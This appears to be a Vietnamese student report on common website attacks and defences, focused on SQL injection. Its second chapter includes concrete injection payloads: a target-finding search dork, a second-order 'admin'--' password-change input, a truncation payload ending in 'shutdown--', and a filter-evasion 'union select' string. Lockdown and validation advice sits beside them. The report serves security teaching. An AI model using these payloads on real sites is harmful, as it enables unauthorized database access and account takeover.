SlideShare a Scribd company logo
1 of 41
LỜI MỞ ĐẦU
Thế giới ngày nay đã có nhiều tiến bộ mạnh mẽ về công nghệ thông tin (CNTT)
từ một tiềm năng thông tin đã trở thành một tài nguyên thực sự, trở thành sản phẩm
hàng hoá trong xã hội tạo ra một sự thay đổi to lớn trong lực lượng sản xuất, cơ sở hạ
tầng, cấu trúc kinh tế, tính chất lao động và cả cách thức quản lý trong các lĩnh vực của
xã hội.
Trong những năm gần đây, Việt Nam ngày càng phát triển và nhất là về mặt
công nghệ thông tin. Đặc biệt là về ứng dụng Website, hầu như mọi người ai cũng
từng nghe và làm việc trên ứng dụng Website. Website trở nên phổ biến và trở thành
một phần quan trọng của mọi người và nhất là các doanh nghiệp, công ty. Bên cạnh đó
lý do an toàn bảo mật cho ứng dụng Website luôn là vấn đề nan giải của mọi người.
Với các lý do trên, em mạnh dạn đề xuất đề tài “Nghiên cứu một số hình thức
tấn công Website phổ biến và các giải pháp phòng chống” để làm đề tài thực tập
chuyên ngành cho mình. Em thấy đây là đề tài mang tính thực tế cao, giúp cho các nhà
quản trị Website có thể làm tốt hơn công việc của mình, cũng như đảm bảo an toàn
thông tin cho doanh nghiệp, công ty. Đồng thời cũng giúp ích rất nhiều cho em trong
các công việc sau này.
Nội dung đề tài gồm ba phần chính:
Chương 1: Tổng quan về bảo mật và ứng dụng Website.
Chương 2: Nghiên cứu các hình thức tấn công và giải pháp bảo mật Website.
Chương 3: Triển khai demo một số hình thức tấn công và các giải pháp bảo
mật.
DANH MỤC TỪ VIẾT TẮT
IIS Internet Information Services
PHP Hypertext Preprocessor
HTTP HyperText Transfer Protocol
ASP Active Server Pages
XSS Cross Site Scripting
DOS Denial Of Service
SQL Structured Query Language
CGI Common Gateway Interface
CHƯƠNG I: TỔNG QUAN VỀ BẢO
MẬT ỨNG DỤNG WEBSITE
1.1. Tổng quan về ứng dụng Website.
1.1.1. Khái niệm ứng dụng Website
Ứng dụng Website là một ứng dụng chủ/khách sử dụng giao thức HTTP để
tương tác với người dùng hay hệ thống khác.
Website là một “trang web” trên mạng Internet, đây là nơi giới thiệu những
thông tin, hình ảnh về doanh nghiệp và sản phẩm, dịch vụ của doanh nghiệp (hay giới
thiệu bất cứ thông tin gì) để khách hàng có thể truy cập ở bất kỳ nơi đâu, bất cứ lúc
nào.
Website là tập hợp nhiều trang. Khi doanh nghiệp xây dựng website nghĩa là
đang xây dựng nhiều trang thông tin, catalog sản phẩm, dịch vụ....Để tạo nên một
website cần phải có 3 yếu tố cơ bản:
- Cần phải có tên miền (domain).
- Nơi lưu trữ Website (hosting).
- Nội dung các trang thông tin.
Một ứng dụng web thường có kiến trúc gồm:
Hình 1.1: Kiến trúc một ứng dụng Website
1.1.2. Cách thức hoạt động
Mô hình hoạt động của ứng dụng Website:
Hình 1.2: Mô hình hoạt động của ứng dụng Website.
Trong đó:
- Trình khách ( hay còn gọi là trình duyệt): Internet Explorer, FireFox, Chrome
- Trình chủ: Apache, IIS, ….
- Hệ quản trị cơ sở dữ liệu: SQL Server, MySQL, DB2, Access….1.2.
Bên cạnh đó, một giải pháp dùng để bảo vệ một hệ thống mạng thường được sử
dụng là bức tường lửa, nó có vai trò như là lớp rào chắn bên ngoài một hệ thống mạng,
vì chức năng chính của firewall là kiểm soát luồng thông tin giữa các máy tính. Có thể
xem firewall như một bộ lọc thông tin, nó xác định và cho phép một máy tính này có
được truy xuất đến một máy tính khác hay không, hay một mạng này có được truy
xuất đến mạng kia hay không.
Người ta thường dùng firewall vào mục đích:
- Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài.
- Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong.
- Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập.
Firewall hoạt động dựa trên gói IP do đó kiểm soát việc truy nhập của máy
người sử dụng.
Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Website thông
qua các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho
thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc
trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình
khách.
Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết
nối đến cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho
trình khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần:
- Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi
giữa trình duyệt và WebServer.
- Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file
HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì.
Theo mô hình ở hình 1.1, với firewall, luồng thông tin giữa trình chủ và trình
khách là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng
dụng Website thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do
đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào
những sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển
Website hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker
cũng có thể lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ
thống không liên quan khác.
1.1.3. Các dịch vụ và ứng dụng trên nền Website
Với công nghệ hiện nay, Website không chỉ đơn giản là một trang tin cung cấp
các tin bài đơn giản. Những ứng dụng viết trên nền Website không chỉ được gọi là một
phần của Website nữa, giờ đây chúng được gọi là phần mềm viết trên nền Website.
Có rất nhiều phần mềm chạy trên nền Website như Google word (xử lý văn
bản), Google spreadsheets (xử lý bảng tính), Email ,…
Một số ưu điểm của phần mềm hay ứng dụng chạy trên nền web:
• Mọi người đều có trình duyệt và bạn chỉ cần trình duyệt để chạy phần mềm.
• Phần mềm luôn luôn được cập nhật vì chúng chạy trên server.
• Luôn sẵn sàng 24/7.
• Dễ dàng backup dữ liệu thường xuyên.
• Có thể truy cập mọi lúc, mọi nơi, chỉ cần có Internet
• Chi phí triển khai rẻ hơn nhiều so với phần mềm chạy trên desktop.
1.2. Tổng quan về an ninh mạng.
1.2.1 Khái niệm về an toàn và an ninh mạng
Trong quá khứ, an ninh thông tin là một thuật ngữ được sử dụng để mô tả các
biện pháp bảo mật vật lý được sử dụng để giữ cho chính phủ hay doanh nghiệp những
thông tin quan trọng khỏi bị truy cập bởi công chúng và để bảo vệ nó chống lại thay
đổi hoặc tiêu hủy. Những biện pháp này bao gồm lưu trữ tài liệu có giá trị trong tủ hồ
sơ đã bị khóa hoặc két và hạn chế truy cập vật lý đến các khu vực nơi mà các tài liệu
đã được lưu giữ. Với sự phổ biến của máy tính và các phương tiện truyền thông điện
tử, cách truy cập dữ liệu cũ thay đổi. Khi công nghệ tiếp tục phát triển, hệ thống máy
tính được kết nối với nhau để tạo thành mạng máy tính, cho phép các hệ thống chia sẻ
tài nguyên, bao gồm cả dữ liệu.
Các mạng máy tính cuối cùng, mà hầu hết các liên kết nối mạng máy tính truy
cập công cộng, là Internet. Mặc dù các phương pháp bảo vệ dữ liệu đã thay đổi đáng
kể, khái niệm về an ninh mạng vẫn giống như là các thông tin bảo mật.
Bởi vì máy tính có thể thu hồi, và số tiền quá lớn của dữ liệu, chúng được sử
dụng trong gần như mọi khía cạnh của cuộc sống. Máy vi tính, mạng, và Internet là
một phần không thể thiếu của nhiều doanh nghiệp. Sự phụ thuộc của chúng trên các
máy tính tiếp tục tăng khi các doanh nghiệp và cá nhân trở nên thoải mái hơn với công
nghệ và tiến bộ công nghệ như là làm cho hệ thống thân thiện với người dùng hơn và
dễ dàng hơn để kết nối.
Một hệ thống máy tính duy nhất yêu cầu các công cụ tự động để bảo vệ dữ liệu
trên hệ thống từ những người dùng có quyền truy cập hệ thống. Một hệ thống máy tính
trên mạng (một hệ thống phân phối) đòi hỏi rằng dữ liệu vào hệ thống đó được bảo vệ
không chỉ từ truy cập địa phương mà còn từ các truy cập từ xa trái phép và từ chặn
hoặc thay đổi dữ liệu trong quá trình truyền giữa các hệ thống. An ninh mạng không
phải là một sản phẩm, quy trình, hay chính sách mà là sự kết hợp của các sản phẩm và
quy trình có hỗ trợ một chính sách quy định. Mạng lưới an ninh được thực hiện của
các thiết bị an ninh, chính sách và quy trình để ngăn chặn truy cập trái phép vào tài
nguyên mạng, thay đổi hoặc hủy hoại tài nguyên hoặc dữ liệu.
1.2.2 Sự cần thiết phải bảo vệ thông tin
Trong một doanh nghiệp hay một tổ chức nào đó, thì phải có các yếu tố cần được
bảo vệ như:
- Dữ liệu.
- Tài nguyên: con người, hệ thống và đường truyền.
- Danh tiếng của công ty.
Nếu không đặt vấn đề an toàn thông tin lên hàng đầu thì khi gặp phải sự cố thì
tác hại đến doanh nghiệp không nhỏ:
- Tốn kém chi phí.
- Tốn kém thời gian.
- Ảnh hưởng đến tài nguyên hệ thống.
- Ảnh hưởng đến danh dự, uy tín của doanh nghiệp.
- Mất cơ hội kinh doanh.
1.3. Các thuật ngữ liên quan.
1.3.1. Hacker
Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống mạng.
Hacker thường là những chuyên gia về máy tính. Hacker không tạo ra các kẽ hở cho
hệ thống, nhưng Hacker lại là những người am hiểu về hệ điều hành, hệ quản trị dữ
liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thức của mình trong việc tìm tòi và
khai thác các lỗ hổng của hệ thống mạng. Một số Hacker chỉ dừng lại việc phát hiện và
thông báo lỗi tìm được cho những nhà bảo mật hay người phát triển chương trình, họ
được xem như là WhiteHat (Hacker nón trắng). Một số hacker dựa vào những lỗ hổng
thực hiện việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, những
người này bị xem như là BlackHat (Hacker mũ đen).
Vì tính chất phổ biến của thuật ngữ hacker, nên trong phần trình bày, luận văn sẽ
sử dụng “hacker” thay cho “kẻ tấn công”.
1.3.2. Http Header
HTTP header là phần đầu (header) của thông tin mà trình khách và trình chủ gửi
cho nhau. Những thông tin trình khách gửi cho trình chủ được gọi là HTTP requests
(yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời). Thông
thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị. Một
số tham số có thể được dùng trong cả header yêu cầu và header trả lời, còn số khác thì
chỉ được dùng riêng trong từng loại. Ví dụ :
• Header yêu cầu:
o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặc POST),
địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP (HTTP/1.1)..
o Tiếp theo là các tham số.Chẳng hạn như:
ƒ + Accept-Language: Cho biết ngôn ngữ dùng trong trang web.
ƒ + Host: Cho biết địa chỉ của máy chủ.
ƒ + Referer: Cho biết địa chỉ của trang web tham chiếu tới.
o Header của HTTP request sẽ kết thúc bằng một dòng trống.
• Header trả lời:
o Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dung
(HTTP/1.1), mã trạng thái (200) và trạng thái (OK).
o Tiếp theo là các tham số.
o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần thân
của HTTP response.
GET /tintuc/homnay.asp HTTP/1.1
Accept: */*
Accept-Language: en-us
Connection: Keep-Alive
Host: localhost
Referer: http://localhost/lienket.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Accept-Encoding: gzip, deflate
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 13 Jul 2000 05:46:53 GMT
Content-Length: 2291
Content-Type: text/html
Set-Cookie:
ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ;
path=/
Cache-control: private
<HTML>
<BODY>
1.3.3. Session
HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không
lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này gây khó
khăn cho một số ứng dụng Website, bởi vì trình chủ không biết được trước đó trình
duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng dụng Website
đưa ra một khái niệm phiên làm việc (Session). Còn SessionID là một chuỗi để chứng
thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID cho người dung khi
họ xem trang Website trên trình chủ.
Để duy trì phiên làm việc thì sessionID thường được lưu vào :
+ Biến trên URL
+ Biến ẩn form
+ Cookie
Phiên làm việc chỉ tồn tại trong một khoảng thời gian cho phép, thời gian này được
cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự động giải
phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống.
1.3.4. Cookie
Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và
trình duyệt của người dùng.
Các cookie được lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng
tạo ra để lưu trữ, truy tìm, nhận biết các thông tin về người dùng đã ghé thăm trang
Web và những vùng mà họ đi qua trong trang. Những thông tin này có thể bao gồm
tên, định danh người dùng, mật khẩu, sở thích, thói quen...cookie được trình duyệt của
người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào
trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện
lưu trữ đó hay không.
Ở những lần truy cập sau đến trang Website đó, ứng dụng có thể dùng lại những
thong tin trong cookie (như thông tin liên quan đến việc đăng nhập vào Yahoo
Messenger!...) mà người dùng không phải làm lại thao tác đăng nhập hay phải cũng
cấp lại các thông tin khác.
Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent do
đó ta sẽ có 4 kiểu cookie là:
- Persistent và Secure
- Persistent và Non-Secure
- Non-Persistent và Secure
- Non-Persistent và Non-Secure
Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt
Netscape Navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet
Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy
khách trong một khoảng thời gian xác định.
- Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ
bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web.
- Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL).
- Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP.
Thực chất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật.
Domain Flag Path Secure Expiration Name Value
www.redhat.co
m
FALSE / FALSE 115402949
0
Apache 64.3.40.151.1
6
01899634924
7
480
o Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên là
www.redhat.com)
o Flag: mang giá trị TRUE/FALSE -Xác định các máy khác với cùng tên miền có
được truy xuất đến cookie hay không.
o Path: Phạm vi các địa chỉ có thể truy xuất cookie.Ví dụ:
Nếu path là “/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư mục
con của nó như /tracuu/baomat có thể truy xuất đến cookie này. Còn nếu giá trị là “/”
thì cookie sẽ được truy xuất bởi tất cả địa chỉ thuộc miền trang web tạo cookie.
o Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay
không nghĩa là kết nối có sử dụng SSL hay không.
o Expiration: thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00
giờ
GMT ngày 01/01/1970. Nếu giá trị này không được thiết lập thì trình duyệt sẽ hiểu đây
là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị
đóng.
o Name: Tên biến (trong trường hợp này là Apache)
o Value: Với cookie được tạo ở trên thì giá trị của Apache là
64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền
http://www.redhat.com.
1.3.5. Proxy
Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặc biệt
hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những
chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho
server thật sự mà người sử dụng cần giao tiếp.
Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không
đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho
client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lời của
server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client.
CHƯƠNG II: NGHIÊN CỨU CÁC
HÌNH THỨC TẤN CÔNG VÀ GIẢI
PHÁP BẢO MẬT WEBSITE.
2.1 SQL Injection
2.1.1. Tìm hiểu về SQL Injection.
2.1.1.1. SQL Injection là gì?
SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng
trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ
quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp
(không được người phát triển ứng dụng lường trước). Hậu quả của nó rất tai hại vì nó
cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có
toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang
chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các
hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.
2.1.1.2. Các Dạng Tấn Công SQL Injection
Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập
(authorization bypass), sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng
các stored-procedures.
Để biết các website sử dụng CSDL SQL ta sử dụng các phần mềm hoặc các
công cụ tìm lỗi. Hoặc các công cụ tìm kiếm như Google. Và dùng các từ khóa tìm
kiếm như : inurl : product.php?id=
Hình 2.1. Một công cụ tìm Lổi SQL Injection.
Để biết website nào dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau thanh địa
chỉ. Ví dụ : http://www.doanchuyenganh.com/product.php?id=123’
Hình 2.2. Một site bị lổi SQL Injection.
2.1.2. Tấn công SQL Injection.
2.1.2.1. Dạng tấn công vượt qua kiểm tra đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ
vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng Web.
Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các
trang Web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người
dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin
vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết
định cho phép hay từ chối thực hiện tiếp. Trong trường hợp này, người ta có thể dùng
hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí
thông tin nhập từ phía người dùng.
2.1.2.2. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn
công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống
để dò tìm các điểm yếu khởi đầu cho việc tấn công. Xét một ví dụ rất thường gặp trong
các website về tin tức. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị
rồi sau đó truy vấn nội dung của tin có ID này.
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin có
ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ
đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn
công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó,
khởi đầu cho một cuộc tấn công bất hợp pháp.
2.1.2.3. Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản
để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có
thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ
thống không kiểm tra tính hợp lệ của thông tin nhập vào.
2.1.2.4. Dạng tấn công sử dụng stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được
thực thi với quyền quản trị hệ thống 'sa'.
Dưới đây là một số extended stored procedure mà hacker thường hay sử dụng để thực
thi những câu lệnh xem nội dung thông tin trong máy nạn nhân:
o Xp_availablemedia: Hiển thị những ổ đĩa hiện hành trên máy
o Xp_dirtree: Hiển thị tất cả các thư mục kể cả thư mục con
o Xp_loginconfig: Lấy thông tin về chế độ bảo mật trên server
o Xp_makecab: Cho phép người sử dụng tạo các tập tin lưu trữ trên Server (hay
bất cứ tập tin nào mà server có thể truy xuất
o Xp_ntsec_enumdomain: liệt kê những domain mà server có thể truy vấn.
o Xp_terminate_process: chấm dứt một tiến trình với tham số PID của nó.
2.1.2.4. Tấn công SQL Injection nâng cao.
• Chuỗi kí tự không có dấu nháy đơn:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username
+ "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{…
Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấu
nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy.
• Tấn công 2 tầng:
Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn
đoạn mã SQL .
Ví dụ b.1: Để đăng kí account trong ứng dụng, nhập username như sau:
Username: admin'—
Password: passofadmin
Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau:
INSERT into User VALUES(123, 'admin''--', 'password',0xffff) (nhưng trong cơ
sở dữ liệu sẽ lưu là “admin’--“)
Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã
ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ trước khi
nhập mật khẩu mới. Đoạn mã như sau:
Câu truy vấn thiết lập mật khẩu mới như sau:
rso(“username”) chính là giá trị username có được câu truy vấn login và nó là admin’--
Câu truy vấn lúc này như sau:
sql = "update users set password = '" + newpassword + "' where username= '" +
rso("username") + "'"
update users set password = 'password' where username = 'admin'--'
Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình. Đây
là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có sử dụng cơ
chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi hơn là chỉnh sửa lại.
Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô nhập tên) cho phép những kí
tự này. Ví dụ: O’Brien.
Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn.
Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên. Trong
trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL
(kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm soát một cách chặt chẽ.
Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng cách giới
hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số kiểu tấn công không
thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi dụng.
Ví dụ :
Giả sử cả username và password đều bị giới hạn tối đa là 16 kí tự.Nhập:
Username: aaaaaaaaaaaaaaa’
Password :‘; shutdown--
Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do
chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽ bị xoá
mất. Câu lệnh SQL như sau:
Select * from users where username=’aaaaaaaaaaaaaaa’’ and
password=’’’; shutdown—‘
kết quả là username trong câu lệnh có giá trị là:
aaaaaaaaaaaaaaa’ and password=’
2.1.2 Cách Phòng Tránh SQL Injection
Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập
trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh
SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ
thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu cơ sở dữ liệu -
owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ
liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều
khiển toàn bộ hệ quản trị cơ sở dữ liệu và với quyền hạn rộng lớn như vậy nó có thể
tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn.
• Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi
được sử dụng.
• Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc
phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng
bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển thiết kế mỗi
khi lỗi xảy ra trên ứng dụng.
• Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v.. Hãy
loại bỏ các kí tự meta như “',",/,,;“ và các kí tự extend như NULL, CR, LF, ... trong
các string nhận được từ:
+ Dữ liệu nhập do người dùng đệ trình
+ Các tham số từ URL
+ Các giá trị từ cookie
• Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu
truy vấnSQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
• Dùng thuật toán để mã hoá dữ liệu
2.1.2.1 Kiểm tra dữ liệu
Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được
quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính đúng
đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải
kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích.
Những tóm tắt sau đây sẽ bàn về việc kiểm tra tính đúng đắn của dữ liệu, cùng
với ví dụ mẫu để minh hoạ cho vấn đề này.
Có ba giải pháp tiếp cận vấn đề này:
1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ.
2) Loại bỏ những dữ liệu bất hợp lệ.
3) Chỉ chấp nhận những dữ liệu hợp lệ
• Giải pháp 1: khó thực hiện
- Thứ nhất, người lập trình không cần thiết phải biết tất cả dữ liệu bất hợp lệ, bởi vì
những dạng dữ liệu bất hợp lệ rất đa dạng.
- Thứ hai, là vấn đề của trường hợp bị tấn công 2 tầng (second-oder SQL
injection) trong việc lấy dữ liệu từ hệ thống ra.
• Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do :
- Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn
công mới.
• Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài đặt.
- Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3. Một ví dụ cho sự cần thiết
kết hợp 2-3 là dấu nối giữa họ và tên “Quentin Bassington-Bassington” phải cho phép
dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi kí tự “--“ là một chuỗi
kí tự đặc biệt trong SQL server.
- Ví dụ nếu có bộ lọc để :
+ Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’
+ Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau.
uni’on se’lect @@version-‘-
- Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản
• Cách 1: Từ chối dữ liệu bất hợp lệ.
• Cách 2: Thay thế dấu nháy đơn.
• Cách 3: Chỉ chấp nhận dữ liệu hợp lệ
2.1.2.2. Khoá chặt SQL Server (SQL Server Lockdown)
Đây là một danh sách các công việc cần làm để bảo vệ SQL server:
• Xác định các phương pháp kết nối đến server:
+ Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng đang
dùng là hoat động.
• Kiểm tra tất cả các tài khoản có trong SQL Server
+ Chỉ tạo tài khoản có quyền thấp cho các ứng dụng
+ Loại bỏ những tài khoản không cần thiết
+ Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ, …
• Kiểm tra các đối tượng tồn tại
+ Nhiều extended stored procedure có thể được xoá bỏ một cách an toàn.
Nếu điều này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn những tập tin
.dll chứa mã của các extended stored procedure
+ Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs”
+ Xóa các stored procedure không dùng như: master..xp_cmdshell, xp_startmail,
xp_sendmail, sp_makewebtask
• Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào
+ Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở dữ
liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất đến những đối
tượng nó cần dùng. Kiểm tra lớp sửa chữa của server
+ Có một số cách tấn công như “buffer overflow”, “format string” thường chú ý
đến lớp bảo vệ này.
• Kiểm tra các phiên làm việc trên server
• Thay đổi "Startup và chạy SQL Server" ở mức người dùng quyền hạn thấp trong
SQL Server Security.
- Nhận xét:
+ Qua phần tìm hiểu về SQL Injection,càng thấy rằng việc kiểm tra dữ liệu
trước khi xử lý là cần thiết.
+ Ứng dụng ngoài việc kiểm tra tính đúng đắn của dữ liệu, cần mã hóa dữ liệu
ngay bên trong cơ sở dữ liệu và không cho xuất trang Web lỗi, báo nội dung lỗi cú
pháp SQL để hacker không thể thu thập thông tin cơ sở dữ liệu.
- Song song đó là công việc của người quản trị mạng.
